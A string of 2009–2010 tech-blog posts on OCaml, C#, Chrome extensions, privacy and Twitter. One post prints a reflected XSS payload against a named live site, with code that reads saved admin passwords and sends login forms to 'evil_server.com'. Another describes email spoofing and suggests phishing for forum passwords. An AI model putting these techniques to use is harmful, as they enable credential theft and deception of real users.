This means that some time in the future we might be able to search for persons by their (deleted) pictures on such website, while services like these are already working pretty well like idée TinyEye which indexes pictures using their links, it won’t be strange for facebook to start new privacy settings that allow such services to index even the so called deleted pictures.

The moral of the hole story is, if you are to upload any picture on the web, make sure to use services that gives you control even over your physical pictures or at least provide temporary links that expires after some period of time like Flickr and Twitpic.

Bloginto 1.1 is available

2010-06-15T03:12:00.002+02:00

After few changes in the “Bloginy Algeria” and “Bloginy Marroc” API, the Bloginto Google Chrome extension was broken and doesn’t show the feeds anymore.
Today I released a new version with some changes, mainly technical changes due to the API change, also added a timeout option for those who have slow internet connections.
The extension is to be broken anytime since Bloginy Marroc is not using the same standard for the feeds as Bloginy Algeria which is pretty stable.
The source code is also updated and available here on Google Code (you are welcome to change it to ameliorate the extension) https://code.google.com/p/bloginto-chrome/source/browse/#svn/trunk.
Finally, to update the extension (it should be automatic) you go to extensions then choose update extensions, if you don’t already have it installed, you can install it from here : https://chrome.google.com/extensions/detail/jppmcmbnmodlmgbfdddmeopgagancoak.

How to be online on Gmail even when you are offline

2010-05-20T23:39:00.001+02:00

So the other day I was checking my blog and the “chat with martani_net” on the right side was green, which means I was connected to my Gmail from somewhere! The only issue is that I was totally sure I am not connected from anywhere, so I was freaked out thinking that someone has gained access to my Gmail, so I went quickly to check the Gmail last account activity but the IP addresses didn’t reveal any suspected activities on my account, till I figured out that it was Google Talk on my Android that is doing all this.

The trick is that you log into Google Talk on your Android, then you simply cut off the wifi connection (or disable the 3G if you are using it), and you will be always shown as connected when you are actually offline. I’ve noticed also that once you get your wifi on again, you receive all the instant messages that were sent when you were offline (online and not answering for others :p).

Also, Google Talk on Android goes to a gray/disabled state when logged in but no internet connection is present. Notice that on Android 1.6, if you go offline using the Power Control widget from the desktop, it will log you off before disconnecting from the Internet, so make sure you stop the wifi from the settings section.

OCaml and Unix programming

2010-04-20T01:25:00.001+02:00

If you are used to the Unix programming with C, then almost the same concepts apply to OCaml using the Unix module, with slightly different syntax for function calls and arguments.

It is pretty straight forward if you have already done some system programming in C before, to compile you should add unix.cma to the arguments of ocamlc.

Example 1: fork, getpid and getppid :

 open Unix;;
open Printf;;
 
let a = fork () in
  match a with
    | 0 -> printf "child -- pid : %d ,ppid : %d\n" (getpid ()) (getppid ())
    | -1 -> printf "%s" "error accured on fork\n"
    | _ -> printf "parent process : %d\n" (getpid ())
;;
 

This example shows how to do a simple fork to create a new process, then each process prints its pId to the console, here we cannot ensure which one will print first, the parent or the child. Here we use the usual function fork, getpid to get the ID of the current process and getppid to get the parent process.

Compile :

 sky@sky-laptop:~/Desktop$ ocamlc unix.cma demo.ml -o demo
 

Output 1:

 sky@sky-laptop:~/Desktop$ ./demo 
parent process : 3249
child -- pid : 3250 ,ppid : 3249
 

Output 2:

 sky@sky-laptop:~/Desktop$ ./demo 
child -- pid : 3250 ,ppid : 3249
parent process : 3249
 

Example 2, wait:

To ensure that the child process finish before its parent we use the wait system call, which returns the id of the finished process and the status code returned from the process.

 open Unix;;
open Printf;;
 
let a = fork () in
  match a with
    | 0 ->  printf "child -- pid : %d ,parent pid : %d\n" (getpid ()) (getppid ()); 
        exit 13
    | -1 -> printf "%s" "error accured on fork\n"
    | _ -> let childid, returncode = wait () in 
        printf "parent process : %d\n" (getpid ());
        printf "child %d closed with status code %d" childid (let WEXITED(code) = returncode in code)
;;
 

Output :

 sky@sky-laptop:~/Desktop$ ./demo 
child -- pid : 3268 ,parent pid : 3267
parent process : 3267
child 3268 closed with status code 13
 

As you see, the child exits with the code 13, the parent calls wait to wait for its unique child created with fork, then reads the returned code, note that OCaml will generate a warning here because we just check for WEXITED (we know it will exit normally) but we omit WSIGNALED and WSTOPPED. In C you don’t have this flexibility of warnings which can brings you a lot of trouble.

Exemple 3, exec*:

This example demonstrates how to use the exec* calls, these methods replaces the core of the process with the new code of the command to be executed thus the function never returns, when the function fails, an exception is thrown, check the specifications here.

 open Unix;;
open Printf;;
 
let a = fork () in
  match a with
    | 0 -> (try
          execvp "ls" [|"ls"; "-l"|]
       with
          _ -> printf "%s" "error while execv\n"; exit (-1))
    | -1 -> printf "%s" "error accured on fork\n"
    | _ -> ignore (wait ()); printf "%s" "parent exit...\n"
;;
 

Here we fork and replace the child code with the ls command’s, here is the output

 sky@sky-laptop:~/Desktop$ ./demo 
total 136
-rwxr-xr-x 1 sky sky 82110 2010-04-20 00:26 demo
-rw-r--r-- 1 sky sky   234 2010-04-20 00:26 demo.cmi
-rw-r--r-- 1 sky sky   743 2010-04-20 00:26 demo.cmo
-rw-r--r-- 1 sky sky   291 2010-04-20 00:26 demo.ml
-rw-r--r-- 1 sky sky   410 2010-04-20 00:26 demo.ml~
parent exit...
 

Run Unix commands on Widows cmd

2010-04-11T14:47:00.001+02:00

For those of you who can’t live a day without typing at least a thousand “ls” and few hundreds “ps”, “cat” etc… You can do it on Windows cmd too.

By installing Cygwin and setting the PATH variable to point the Cygwin’s bin directory, most of the commands will work as usual from the Windows cmd, not just Cygwin’s shell. Of course it won’t be as real as running these commands on a Unix machine, but it still handy to do so anyways.

For example the ps command will only show processes that were started from the current shell (cmd), what’s funny also is that you can type both windows and Unix commands together.

Avoid CPU overheating problems with thermal compound

2010-03-31T01:32:00.001+02:00

For no less that 9 months, my Hp Dv6 laptop was overheating to a point where I can’t touch the mouse pad anymore or even put my hands near the keyboard. I sent it to the customer service for repair but their report after a month about the overheating problem was that : “I have 4 operating systems installed on my PC, therefore I have to install just one and everything will work normally”… Jerks!!!

Anyways, I posted on forums, did everything possible for a solution but no hope, till the last week where someone replied my post suggesting to change the thermal compound of my CPU.

I searched the web a little and finally I chose the ArcticSilver 5 from Surcouf store for 7€ (3.5gr). When I disassembled the CPU and the GPU also, I found that the old thermal grease was very dry and especially it got away from the center of the CPU.

I installed the new thermal compound by looking at some videos and the Arctic guides, and now my laptop is working pretty amazing, no serious overheating and the temperature of the CPU is mainly at regular levels.

So if your laptop/PC is having some overheating problems, make sure to clean the air fans and apply new thermal compound to the CPU.

Thoughts about the hacking of Echourouk news paper

2010-03-17T21:07:00.003+01:00

Echoroukonline website was hacked Sunday at around 10 pm by Egyptians as part of a media campaign…
http://www.echorouk.net/eng/index.php?news=9213

The website is still down till now, or precisely the domain is owned by the hackers, and I wonder why they didn’t get the domain back yet? As one of the readers commented, a simple call to GoDaddy technical support would fix the problem, am I wrong??

Product and Technical Support: (480) 505-8877
Billing Support: (480) 505-8855

Anyways, they seem to have very good developers/administrators after all!!!
Going back to how the domain name was owned according to their news paper by a:

“It is a new technique and I have not heard about it for 15 years in my work,” manager of GECOS Sofiane Sakhri said.

Seriously?? It is that simple, they got the domain name, how? it is impossible that this is a vulnerability in the GoDaddy’s website, so the only way is that the domain was transferred!!
Echourouk claims that the attackers sent emails in its behalf, means, used this technique I discussed few weeks before.
As far as I know, a domain transfer cannot be transferred without having a transfer key, and then you have to accept explicitly the transfer by clicking on a specific link in your email sent by your registrar. So I don’t see anyhow, how the attacker can trick GoDaddy by sending them faked emails. Which leads us to the only logical explanation that the attackers got access to the domain name administrator’s email, and they got everything from there.
What I’m trying to say, is that it is highly probable that Echourouk’s website administrator got tricked by a fishing attack, or some secret documents of the company got stolen by the hackers.
And yes, it happens, even for the 20th most visited website in the world, do you remember the Twitter DNS attack few months ago?? But the difference, twitter recovered so fast, maybe just 1 or 2 hours down, by Echourouk… it seems it is going to be down forever.
So really, don’t they have phones to call technical support and get their domain back??
They were ranked 1157 and their new domain is ranked 16,785,560, that’s how bad it is, in case they don’t see it!

If you have any other theories, please enlighten me.

Some XSS Techniques and Real World Examples

2010-03-13T20:23:00.007+01:00

Yesterday, Djerad Sofiane started a new url shortening website called Shr1rink.me (yeah you get it, shrink me) using the open source project yourls. So I tried to see how secure it was, and after a while I found few vulnerabilities, I also promised Sofiane to show him live examples of how-to exploit them –he is kinda newbie :D, nah seriously, he is a cool guy, check his blog out-

Ok, first I discovered that I can shrink links from the website itself, so an evil idea came to my mind, a DoS attack, I wanted to make the webserver loop infinitely to find the website. For example I shortened the url http://shr1nk.me/1235 and pointed it to http://shr1nk.me/1234 and vice versa
I thought this would make the server loop over and over to find the original link, but nah, it doesn’t work like that, the server just send the original –the shortened- url back to the browser, and it’s the browser’s work to fetch the new url. So this is useless because even the browser detects redirect loops (5 loops and it break the request) http://en.wikipedia.org/wiki/URL_redirection#Redirect_loops

Now to XSS, a simple check shows that the website is XSS’able, here’s a simple alert() test alert(1)'>http://shr1nk.me/index.php?url="></a><script>alert(1)</script>, it doesn’t work for me in Google Chrome, so Firefox it.

Let’s explore 3 categories of attacks that might be exploited using XSS, of course combining these techniques will have bigger impact.

Reputation :

We can make a websites’ reputation as bad as we want, by inserting inappropriate content, or post false news etc.. Remember! users have to click your link to see this, because it is not a persistent XSS attack.
For example if you click this link http://shr1nk.me/index.php?url=%22%3E%3C/a%3E%3Cscript%20src=http://pastie.org/868120.txt%3E%3C/script%3E, you should get something like this.

//Write some annoying messages 
var b = document.getElementById('contenu');
var s = "<h1>You freeking -stupid- visitors, get lost from here (just an example) ok!</h1>";
b.innerHTML = s + <img src='some evil pirate image here'/>

You can see that for an ordinary user, seeing this on his favorite website is totally a big deal –haven’t you heard about the Facebook’s stupid users?? check it out -.

Password Theft :

I have explained this in details here http://www.martani.net/2009/08/xss-steal-passwords-using-javascript.html, and here is a simple customized version of how to steel the admin passwords if they are saved by the browser, transparently. The victim has to just click of the link and BOM!!!!
http://shr1nk.me/index.php?url=%22%3E%3C/a%3E%3Cscript%20src=http://pastie.org/868131.txt%3E%3C/script%3E

var frameset = document.createElement('frameset');
var frame1 = document.createElement('frame');
document.body.appendChild(frameset);
frame1.setAttribute('src','admin/');
frameset.appendChild(frame1);
 
function showLogin()
{
    alert('login : ' + parent.frames[0].document.getElementById('username').value + 
    '\npass : '+parent.frames[0].document.getElementById('password').value);
}
setTimeout(showLogin,1000);
 
// here, send the logins to the attackes server using XHR

Trapping the victim to submit his logins :

This uses the same technique as the password theft, When combined with the previous one it become so dangerous unless the user is aware of how XSS works or has an XSS blocker like NoScript or is using IE8.

The idea is to show the victim a login page, and changing the action of the form to point to the attackers' server rather than the real login page, a simple attack would be exploited like this:

var frameset = document.createElement('frameset');
var frame1 = document.createElement('frame');
document.body.appendChild(frameset);
frame1.setAttribute('src','admin/');
frameset.appendChild(frame1); 
 
// HERE make the faked iFrame stretched to hide the real page
// using the stype attribute 
 
//Now change the action of the form to point to the victims server
// or do it using XHR then submit the form to its real action 
 
parent.frames[0].document.forms[0].action = "http://evil_server.com/intercept_passwords.aspx";
 
// here, send the logins to the attackes server using XHR

Believe me, it works, and you can trap hundred of users using this technique since it is completely transparent, and it leaves no trace because the user end up signing in as he is supposed to be.

I’m aware this was not detailed enough, but the subject is really vast, so if you plan to learn XSS, start applying simple attacks, like the first and second listed here (you have a working source code). Then you will start to see clearly how some advanced attacks –like the last one- are exploited. Also I advise this book : http://www.amazon.com/XSS-Attacks-Scripting-Exploits-Defense/dp/1597491543.

OCaml Stack and Queue

2010-03-07T11:54:00.001+01:00

This is a quick post to show how easy (and beautiful) it is to implement a simple (not the best though) and elegant FIFOs and LIFOs in OCaml.

For the Stack (LIFO – Last In First Out), the source code is available in the core language in lib/stack.ml, and it uses Lists to save elements inside the Stack, the implementation is so easy :

 module Stack = struct
    type 'a t = { mutable c : 'a list }
    exception Empty
 
    let create () = { c = [] }
    let clear s = s.c <- []
    let copy s = { c = s.c }
    let push x s = s.c <- x :: s.c
 
    let pop s =
      match s.c with
        hd::tl -> s.c <- tl; hd
      | []     -> raise Empty
 
    let top s =
      match s.c with
        hd::_ -> hd
      | []     -> raise Empty
 
    let is_empty s = (s.c = [])
    let length s = List.length s.c
    let iter f s = List.iter f s.c
end;;
 

For the Queue (FIFO), here is an elegant implementation using references on Lists:

 module Queue = struct
  type 'a t = ('a list * 'a list) ref
  exception Empty
  let create () = ref ([], [])
  
  let add x queue =
    let front, back = !queue in 
        queue := (x::front, back)
  
  let rec take queue =
    match !queue with
        (front, x :: back) ->
                    queue := (front, back);
                    x
        | ([], []) ->    
                    raise Empty
        | (front, []) ->
                    queue := ([], List.rev front);
                    take queue
end;;
 

The Queue is composed of 2 Lists holding the front elements (used for adding new elements to the Queue) and a back list holding elements when we call take (or dequeue).

The add function is simple, it just take an elements and put it at the beginning of the front list queue := (x::front, back)

The take function is the one that does all the work, it checks if the Queue is not empty (an empty queue is a queue that both front and back lists are empty), then it checks if the back list has at least one element, if this is the case, the element is deleted from the queue and then returned.

Otherwise the back list is empty, so we take elements from the front list (the one used to store elements when we call add), reverse them, and store them in the back list, then the function calls itself recursively to extract the new available elements.

And in case you didn’t notice, both the Stack and Queue are generics by nature, they accept any type for their elements.

Learning OCaml, Questions From Stackoverflow.com

2010-02-19T22:33:00.001+01:00

The most effective way to learn something new is by asking questions, and it’s the same for programming languages.

Below is a collection of question about the OCaml functional language from stackoverflow.com and it’s supposed to help you get your mind to work “OCaml”.

Learning OCaml (Fast)

Suppose I had to learn OCaml in a hurry. What would you suggest I read and/or do?

Know of an OCAML IDE?

Know of an OCAML/CAML IDE? Especially one that runs on Linux?

F# and OCaml

I hear that F# is derived from OCaml. How true is this statement? That is to say, are the resources available for learning OCaml useful to someone who wants to learn F#?…

What is the OCaml idiom equivalent to Python’s range function?

I want to create a list of integers from 1 to n. I can do this in Python using range(1, n+1), and in Haskell using: take n (iterate (1+) 1).

Why isn’t OCaml more popular?

On the other hand, ML languages are functional, garbage collected languages, and OCaml even has an object model, yet they have a reputation for being as fast as C. ML languages have the abstraction anyone could ask for to write high-level, concise code, yet it retains the speed necessary for writing high-performance applications…

In Functional Programming, what is a functor?

What are the differences between SML and Ocaml?

Why are functions in Ocaml/F# not recursive by default?

{X with value} in ocaml

Ocaml: Error - this expression has type x but is used with type x

Does != have meaning in OCaml?

OCaml: How does List.fold_left work?

Linked List Ocaml

Good projects to learn OCaml and F#

OCaml resources?

For more resources check out the OCaml questions on stackoverflow, and don’t hesitate to leave a question there if you have any, it is a very active community.

BlogInto 1.0 is available, now with Bloginy “Algérie” and “Maroc” support

2010-02-15T22:14:00.005+01:00

After the first release of the BlogInto extension for Google Chrome, today I’m pleased to announce that a new release is already here with the support of some new features, especially with the apparition of the Morocco’s Bloginy, the twin to the Algerian one.

If you already have the extension installed then you will be prompted automatically to install the new version, otherwise you can install it directly from here : http://bit.ly/bloginto

Security settings :
During the installation you will be prompted that the extension will access multiple websites, this is due to loading feeds from both bloginy.com and bloginy.ma, so it is totally ok to install it, the extension doesn’t access any of your private data, or any other websites except those mentioned before.
If you still concerned about your privacy settings, you can check the source code (yeah, didn’t I mention is it open source? keep reading :) )

What’s new :

Actually there is no much about this since the new API isn’t out yet, but some improvements have been made also :

Support for both the Bloginy.com (Algeria) and Blogiy.ma (Morocco) websites
Options page: here you can specify your username / login to access Bloginy.ma because it still in private beta (ask @youknowriad or @hsouiba for access)
The possibility to choose a default feed, yep, if you are from Algeria I guess you would like to see the Dz feed by default and same for the Morocco users
Faster, smoother than the old release, some animation (bonus ;) )
More coming soon…

The source code :

Now everyone can contribute to make the extension better, I hosted the project on Google code so that everyone can contributes by tracking issues, asking for new features or even by making your own modifications to the source code.
The project is under Apache License 2.0 (almost no idea why I chose this among others..) so you are very welcome to contribute, of course if you are a user, do not install the extension from other sources than the official Google extensions website.
I am the only one who has the (*.pem) key to make an updated version on the Google website, so be careful to install it from any other sources, people can do bad stuff injecting code and stealing you data while hiding behind the (name of) the extension.

Project url : https://code.google.com/p/bloginto-chrome/
SVN : http://bloginto-chrome.googlecode.com/svn/trunk/
Bugs / Issues : https://code.google.com/p/bloginto-chrome/issues/list
Request new features : https://code.google.com/p/bloginto-chrome/wiki/Requesting_Features

Well, that’s it, enjoy, and don’t feel shy to leave a comment :D.

(Thanx to @cyounes for the help with the picture on the options page.)

Google Buzz, Edit You Privacy Settings Now

2010-02-11T02:34:00.001+01:00

I’m gonna make it quick, whether you like that Google Buzz thing or not, you should get your hands dirty with it slowly. (for me twitter is more than enough to socialize online).

I wanted to turn it off, and I was too happy to find a link in Gmail to turn it of, so I did.

But it does nothing other than hiding feeds from Gmail, go to your profile and you will find all your Buzz there, along with the people you *most* contact on Gmail. Here are some scenarios others can use this information for :

But it's bad for others too. Two obvious scenarios come to mind:

Imagine if a wife discovering that her husband emails and chats with an old girlfriend a ton.

Imagine a boss discovers a subordinate emails with executives at a competitor.

So what to do? First, to hide people you follow and your followers, click on Edit Profile and uncheck “Display the list of people I'm following and people following me”

Second to hide completely your Buzz from your Google profile, you have to delete them one by one yourself: click on the down-arrow icon on the right of the Buzz and select "Delete this post"

And finally, why would you use Google Buzz for? Do you still need another social network?

Are You Attending the MS Techdays Paris 2010?

2010-02-05T21:19:00.004+01:00

[Update]
It seems that there is an official website which was setup specifically for streaming the event live, check it out here : http://twitter.com/MSTechDays/status/8680652444

The Microsoft Techdays 2010 will take place this Monday February 8th to Wednesday February 10th, 2010 in Paris. The event is open and free for everyone, although the invites are closed now, you can always get your badge in place.
It will be held in Le Palais des Congrès in Paris (metro Station Porte Maillot-Palais des Congrès. Or RER C the same station).
I’ll try to broadcast the plenary session (depending of the speed of the WiFi there), especially the first day here : http://qik.com/martani or here : http://www.ustream.tv/channel/martani. The session will be live from 9am to 11:30am (GMT + 1).
I’ll also try to broadcast some sessions I’ll attend (Coding4Fun etc..), so to stay tuned, follow me on twitter here @martani_net.
More info about the event here : http://www.microsoft.com/france/mstechdays/default.aspx

[Warning] Do You Trust Email?

2010-01-27T23:27:00.003+01:00

With 90 trillion emails sent in 2009 and an average of 247 billion email messages per day, email is one of the most valuable technologies to the 1.4 billion email users world-wide.
Despite these huge numbers, email is still the same as it was before 40 years from now, and security is a major problem that is facing our privacy day after day.

Most of email users have no idea about how email works, and have no idea that an email claimed to be from AAA@BB.COM can be easily sent from anyone with a simple internet connection. To name some ways to send fake emails, we can state Telnet or the mail Linux command.

To start, let’s consider the following email:
As you can see, the email is with the name Gmail Team and address mail-noreply@gmail.com, seems from Gmail right? well, there is no way to tell, and almost all the information you see in the above picture can be faked easily as we will see later.
Note that Gmail may warn you that the email might not be from the one who claims it is from, but in almost all the cases it does not, so don’t rely on it.

To reveal the real identity of the email, we have to check out the email headers, in Gmail you can select the arrow at the right corner and then choose Show Original Message.

Delivered-To: ********@gmail.com
Received: by 10.223.117.195 with SMTP id s3cs462739faq;
        Mon, 13 Jul 2009 06:24:52 -0700 (PDT)
Received: by 10.211.166.2 with SMTP id t2mr4gdcvf553ebo.26.1247491492708;
        Mon, 13 Jul 2009 06:24:52 -0700 (PDT)
Received: from mail-bw0-f225.google.com (mail-bw0-f225.google.com [209.85.218.225])
    by mx.kundenserver.de (node=mxeu8) with ESMTP (Nemesis)
    id 0MKt1w-1McvbcWV0fL6-000RBi for contact@******.info; Mon, 13 Jul 2009 15:24:51 +0200
Received: by bwz25 with SMTP id 25socxvbcv5363bwz.1
        for <contact@*******.info>; Mon, 13 Jul 2009 06:24:50 -0700 (PDT)

This is the path the message followed to reach the destination, if the email was really sent from Google servers, the IP address that appears in the last Received section would be from Google, but even this can not be trusted and the email header could be forged easily too [LINK].

A proof of concept :
If you can’t find a open delivery server to use with telnet (actually if you are a student, you can use the university’s SMTP server easily to send emails), you can use the many web services out there that provides anonymous email sending.

For test purposes, I will use http://deadfake.com/Send.aspx to send sophisticated emails, they provide a WYSIWYG interface as far as a free access to their mail server using telnet. Here are the sent message and the received in the victims email.
As you can see, the sender is mail-noreply@gmail.com which is usually the address you get emails from when you request a new password or register a new Google service with your Gmail ID, definitely you can’t trust an email from its address.

Hold on!!!

If you think this service is heaven for your email crimes, then think again, if you show the headers of the faked message, you will find that the source IP is set to your own IP address, so be careful with that, maybe a little proxy can give you some privacy, but nothing is guaranteed, think twice before doing anything.

Still maybe the fact of using signed emails and certificates, but I’m not sure how practically this will help when we deal with hundred of millions of people who don’t give a damn about privacy, further explanation why this won’t save you neither could be found here [LINK].
Oh.. and to not forget, if you don't sign your emails, anyone on the route of your email can read it simply, also mails take months before they got deleted from server’s cache so don’t be happy with deleting mail from you inbox :D.

How this can be used :

You can for example trick your friends by sending them emails with your teacher’s email telling them there is an exam tomorrow or any funny trick like this, it is impossible for them to tell if it is a faked email especially when you send it from the mail servers at your university (this is Ramy’s plan for the 1st April XD).
You can get passwords from your community, a simple email with the address of the forum’s administrator and a faked link to reset their passwords…
You can trick almost whoever you want, your boss for instance, sending him an email with his boss’ email from within the same domain, cannot be more funnier than that.
And anything you can imagine, because no one actually checks the source of the email.

Conclusion :

Never trust *email*, as far as you don’t give a damn too, it is ok to use it the way you are doing now, but once serious things happen, email won’t help you,and if someone want to track you… then email is the easiest and the most insecure way to get you down, watch the headers as much as you can, and don’t forget to check for IPs using “whois” services.
So, do you still trust email?

Extension methods real world example

2010-01-19T01:20:00.002+01:00

Extension methods in .NET are surely an elegant way to produce elegant code and makes it more readable and easier to maintain, but have you really used them for a real world application before?
This summer I worked on a project where I needed to produce Edifact files, mainly in the Cpaym or the Coplat format. Short story long story, in the Coplat format, when you write a string with a specified length, you must pad the string with spaces to match the exact length required, with the string aligned to the left. For example if the string is "hello" and the length is 20 then you write the following: "hello ", and for numbers they must be preceded with ‘0’s like: 12345 on 20 characters : "00000000000000012345", of course the number should be aligned to the right.
The idea was to overload the Append method of the StringBuilder class with two extension methods to handle the spaces or zeros automatically, here is the code :

public static void Append(this StringBuilder sb,string text, int len)
        {
            string s = text ;
            if (text.Length > len)
            {
                s = truncate(text, len);
                //Ilog.Info("data : " + text + " truncated to : " + s);
            }
            s = s.PadRight(len, ' ');
            sb.Append(s);
        }
 
        public static void Append(this StringBuilder sb, int num, int len)
        {
            string s = num.ToString();
            if (s.Length > len)
            {
                s = truncate(s, len);
                //Ilog.Info("data : " + num.ToString() + " truncated to : " + s);
            }
            s = s.PadLeft(len, '0');
            sb.Append(s);
        }
 
        public static string truncate(string s, int len)
        {
            if (s.Length > len)
                return s.Substring(0, len);
            else
                return s;
        }

Then the call to the Append method like this :

//The default Append method
sb.Append("FIN");
//This will result in '00000001'
sb.Append(1, 8);
//This will result in 'cool           '
sb.Append("cool", 15);

It was really useful because I needed to call the Append method dozens of times, and I was pleased that extension methods come to rescue.
So what about you? have you ever faced a situation where extension methods were handful for you? share your experience with us in the comments.
Since it’s really rare to find useful introductions to the EDI standards, I recommend this blog to start with http://gekseppe.blogspot.com/

7 reasons why you are not getting more than 30 Twitter followers

2010-01-10T21:09:00.003+01:00

You are following dozens of people but only 17 are following you? you are wondering if those 17 are real people or 7 of them are spams? you are asking why you are not getting more followers? then here are some hints you should consider.

1.You are using a spam(my) avatar : seriously, using such an avatar means you don’t even bother taking few seconds to change your profile picture and hence you don’t even have time to tweet. And worse, spams are mainly known to have such avatars.

2. You are using a hot sexy girl avatar with a username like “3spyXynF” : Dude! you are absolutely a spam, No one has a doubt about it.

3. Your Bio is empty or all what it tells is “I love eating stuff…<3” : When someone checks your profile, he expects a little more information about you, and the first place to look for information about you (the one he wants to follow) is your bio, an empty bio is like a bio that is saying :”what the hell you want by knowing me!”
4. No location, nor website : although not as important as the bio, but these will help to get trust of people who will see your profile, consider the website as a long rich version of the short twitter Bio.

5. Your tweets are all about “Just voted something” : sometimes, I come across profiles with the last 20 tweets only about “Just Voted Google might not be cool”, “Just rated a Youtube video..”. Yeah that’s really important for the person who will follow you!

6. Hashtags everywhere : Hashtags are so useful within Twitter, but once overused they become so annoying, don’t use Hashtags on every tweet, here is an example : “Whoa #My dog #just barked, #ilove it #sofreaking much. you #guys, my tweet is damn #kewl #also XD”
7. No original tweets everything is automatically posted from Facebook and Friendfeed : it’s really terrific when you have to follow 30 links to read the real post, people usually post on Facebook which is connected to Friendfeed which is connected back to some sort of other social network which is connected to twitter, so you get something similar to : “a tweet from somewhere to be… http://ff.im/whocares”. I really hate this, be in one place, or post something specific for every service, don’t share.

Finally, I wish your profile will shine soon ;) In the meantime don’t forget to follow me at @martani_net and check these amazing twitter tools to help you having a better experience using twitter: 47 Awesome Twitter Tools You Should be Using.

Take advantage of the new Windows 7 Taskbar #2 [Showcase : Bloginto7]

2009-12-21T20:18:00.002+01:00

This is the part 2 of how to build a simple feed reader following the style of the Gmail Notifier Plus which uses basically the Windows 7 taskbar features.
Part 1 was about the XAML part of the application, this part will show how to read the feeds asynchronously, how to change the ProgressBar and have an auto update features to read feeds.
First we need a prototype class to hold the feeds :

namespace BlogInto_win7
{
    public class Feed
    {
        public int Id { get; set; }
        public string Title { get; set; }
        public string Link { get; set; }
        public string PubDate { get; set; }
        public string Author { get; set; }
        public string Description { get; set; }
        public string Votes { get; set; }
    }
}

Then we will need the following public variables to hold the feeds data, the current feeds shown and a timer for auto update.

namespace BlogInto_win7
{
    /// <summary>
    /// Interaction logic for MainWindow.xaml
    /// </summary>
    public partial class MainWindow : Window
    {
        List<Feed> feeds;
        int currentFeed;
        private DispatcherTimer timer;

On the Window_Loaded event, we hide the window so that it will be shown only in the Taskbar and not the desktop by setting its Left property to –5000, then we mark all the buttons disabled, we initialize the timer to tick every 30 seconds and we call LoadFeeds to download the feeds asynchronously.

private void Window_Loaded(object sender, RoutedEventArgs e)
        {
            this.Left = -5000;
            currentFeed = 0;
            
            browseFeed.IsEnabled = false;
            next.IsEnabled = false;
            previous.IsEnabled = false;
 
            LoadFeeds("http://www.bloginy.com/api/topFeeds/7RaLaXvDsZhBcYhS/bloginto");   
 
            timer = new DispatcherTimer();
            timer.Interval = TimeSpan.FromSeconds(30);
            timer.Tick += timer_Tick;
 
            timer.Start();
        }

The timer_Tick method just disables the navigation buttons and calls LoadFeeds

private void timer_Tick(object sender, EventArgs e)
{
    next.IsEnabled = false;
    browseFeed.IsEnabled = false;
    previous.IsEnabled = false;
    LoadFeeds("http://www.bloginy.com/api/topFeeds/7RaLaXvDsZhBcYhS/bloginto");
}

Then we handle the code for navigating between the feeds and when the browse button is clicked

private void next_Click(object sender, EventArgs e)
{
    currentFeed++;
    UpdateUI();
    if (currentFeed >= feeds.Count -1)
    {
        next.IsEnabled = false;
    }
    else
 
    previous.IsEnabled = true;
}
 
private void previous_Click(object sender, EventArgs e)
{
    currentFeed--;
    UpdateUI();
    if (currentFeed < 1)
        previous.IsEnabled = false;
    
    next.IsEnabled = true;
}
 
private void browseFeed_Click(object sender, EventArgs e)
{
    string url = "http://www.bloginy.com" + feeds[currentFeed].Link;
    System.Diagnostics.Process.Start(url);
}

The function GetFeeds takes an XML string and decodes it to a List<Feed> using Linq (so pretty)

private List<Feed> GetFeeds(string xml)
        {
                XDocument feeds = XDocument.Parse(xml);
 
                var result = feeds.Descendants("feed")
                    .Select((f, index) => new Feed
                    {
                        Title = f.Element("title").Value.Replace("\n", ""),
                        Link = f.Element("link").Value.Replace("\n", ""),
                        PubDate = f.Element("pubdate").Value.Replace("\n", ""),
                        Author = f.Element("author").Value.Replace("\n", ""),
                        Description = f.Element("description").Value.Replace("\n", ""),
                        Votes = f.Element("votes").Value.Replace("\n", ""),
                        Id = index
                    });
                
                return result.ToList();
        }

The UpdateUI method refreshes the UI to show the current feed designed by the global variable currentFeed, ResetUI clears any UI on the interface

void UpdateUI()
{
    Feed feed = feeds[currentFeed];
    FeedTitle.Text = feed.Title;
    FeedAuthor.Text = "By: " + feed.Author;
    FeedDescription.Text = feed.Description;
    FeedDate.Text = feed.PubDate;
    FeedVotes.Text = feed.Votes;
    FeedRank.Text = (feed.Id + 1).ToString() + "/" + (feeds.Count).ToString();
}
 
void ResetUI()
{
    FeedTitle.Text = "";
    FeedAuthor.Text = "";
    FeedDescription.Text = "";
    FeedDate.Text = "";
    FeedVotes.Text = "";
    FeedRank.Text = "";
}

The most important method is LoadFeeds which uses the WebClient class to load the XML feeds asynchronously, first it changes the ProgressBar status so that it indicates that the application is requesting new feeds from the web.
Then it initializes a WebClient object and attaching its DownloadDataCompleted and DownloadProgressChanged to 2 methods that handles the received XML asynchronously. client_DownloadProgressChanged is called when the WebClient is receiving data, client_DownloadDataCompleted is fired when the XML is ready to be parsed.
Then we call client.DownloadDataAsync(new Uri(url)); which downloads the XML asynchronously.

void LoadFeeds(string url)
{
    BlogIntoTakbar.ProgressState = TaskbarItemProgressState.Indeterminate;
 
    WebClient client = new WebClient();
    client.DownloadDataCompleted += new DownloadDataCompletedEventHandler(client_DownloadDataCompleted);
    client.DownloadProgressChanged +=new DownloadProgressChangedEventHandler(client_DownloadProgressChanged);
 
    client.DownloadDataAsync(new Uri(url));        
}

The client_DownloadProgressChanged just sets the ProgressBar status to Indeterminate to indicate that it is always updating.

private void client_DownloadProgressChanged(object sender, DownloadProgressChangedEventArgs e)
{
    BlogIntoTakbar.ProgressState = TaskbarItemProgressState.Indeterminate;
}

The client_DownloadDataCompleted takes the DownloadDataCompletedEventArgs result and decodes it to string (from a Byte array) using the UTF8 encoding (you change this according to the feed you are receiving)
Then it refreshes the feeds collection by calling GetFeeds method. If the feeds load correctly then it sets the buttons to their active forms, changes the ProgressBar status to None otherwise it shows a Network error notification and changes the ProgressBar status to error to indicate a fail update.

private void client_DownloadDataCompleted(object sender, DownloadDataCompletedEventArgs e)
{
    try
    {
        string result = System.Text.UTF8Encoding.UTF8.GetString(e.Result);
        
        feeds = GetFeeds(result);
        if (feeds != null)
        {
            currentFeed = 0;
            browseFeed.IsEnabled = true;
            next.IsEnabled = true;
            previous.IsEnabled = false;
            BlogIntoTakbar.ProgressState = TaskbarItemProgressState.None;
            NetworkError.Visibility = System.Windows.Visibility.Hidden;
            UpdateUI();
        }
        else
            throw new Exception();
    }
    catch
    {
        BlogIntoTakbar.ProgressState = TaskbarItemProgressState.Error;
        BlogIntoTakbar.ProgressValue = .9;
        browseFeed.IsEnabled = false;
        next.IsEnabled = false;
